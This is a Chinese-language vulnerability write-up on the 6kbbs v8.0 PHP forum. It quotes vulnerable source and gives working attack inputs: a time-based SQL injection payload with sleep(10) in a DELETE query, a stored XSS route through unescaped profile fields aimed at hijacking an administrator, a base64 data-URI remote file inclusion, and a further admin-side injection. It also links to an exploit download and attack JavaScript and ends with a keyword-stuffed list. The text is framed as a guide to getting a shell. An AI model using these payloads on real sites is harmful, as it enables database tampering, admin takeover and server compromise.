6kbbs v8.0 论坛延迟注射与论坛跨站漏洞:

    6kbbs V8.0 是一个采用 PHP+MySQL 构建的高效能的论坛程序,拥有代码简洁、使用方便、功能强大、速度极快等优点。

    总体上:采用utf-8,inc\init.php模拟了magic_quotes_gpc,取消了全局。数字类型过滤严格,字符类型SQL加了单引号。

1. 延迟注射:
    ajaxmember.php?action=deleteMsgs 80 行

    case "deleteMsgs":
    $msgids=$_POST['msgids'];
        //DELETE
        if(is_array($msgids)) {
        $delids=implode(",",$msgids);
        echo "id in ($delids) and touserid={$lg['userid']}";
        $db->row_delete("msgs","id in ($delids) and touserid={$lg['userid']}"); //可惜了,是deleted语句,无论结果,只返回 _Y_
        }
        succeedFlag();
    break;

    没有错误输出,被迫采用延迟的方法:POST一个 msgids[a]=if(1,sleep(10),1) 进入数据库。

    操作语句是:DELETE FROM `db_msgs` WHERE id in ( if(1,sleep(10),1) ) and touserid=1

    系统采用 md5(username.userpass) 的方式。

    Exp 下载:http://www.uudisc.com/filedownload?user=k4shifz&id=3667574

2. 论坛跨站:
    ajaxmember.php 34行 设置论坛个人信息:

    case "modifyDetails":
    $user = $_POST['user']; //接收的user数组没有进行htmlspecialchars

        if(getPopedom(5)==0){
          $user['usertitle']='';
        }

        if($user["email"]==""){
          exit("资料不完整。");
        }

        foreach(explode(",", $cache_settings['reservedkeyword']) as $rkey){
        if(!empty($rkey) && stristr($user['usertitle'],$rkey)){
          exit("自定义头衔含有禁用关键字");
        }
       }

    $db->row_update("users",$user,"id={$lg['userid']}"); //存入数据库,函数内SQL有单引号包裹
    succeedFlag();

    论坛帖子对输出进行了XSS过滤,个人签名等XSS点无法使用。突破点在后台管理编辑用户的地方,所以比较鸡肋。不过系统后台拿shell方法较多,直接编辑脚本即可,利用方法:

    注册用户,修改个人信息,装嫩让管理后台编辑你的用户,拿shell。

    利用 ajax 操作后台的 js:http://www.uudisc.com/user/k4shifz/file/3665675

    再简单说一下后台:

    后台漏洞比较多,编辑脚本拿shell、本地包含,注入,还有个远程包含:

    admin\admin.php
    ......
    $inc=strFilter($_GET['inc']);
    $action=strFilter($_GET['action']);
    ......
    $inc=str_replace('.','',$inc);echo $inc;
    require_once($inc.".php"); //远程包含,可惜在后台

    /admin/admin.php?inc=data:;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=     //phpinfo()

    5.2.0 以后受制于 allow_url_include。

    捡一个注入:

    ajaxadmin.php

    case "dotopics":
        try{
          $postaction=$_POST['postaction'];
          $tids=$_POST['tids'];
          if(empty($tids)){
            echo("没有选中帖子。");
          return;
        }
        if(is_array($tids)) {
          $tidstr=implode(",",$tids);
          switch($postaction){
    
          case "delPost":
            $db->row_delete("posts","tid in ({$tidstr}) and fid={$fid}"); //进入数据库查询

    6kbbs v8.0 论坛延迟注射与论坛跨站漏洞,6kbbs v8.0 论坛延迟注射漏洞,6kbbs v8.0 论坛跨站漏洞,6kbbs v8.0 论坛注射漏洞,6kbbs v8.0 跨站漏洞,6kbbs v8.0 注射漏洞,6kbbs v8.0 跨站,6kbbs v8.0 注射,6kbbs v8.0 漏洞,6kbbs 跨站,6kbbs 注射,6kbbs 漏洞。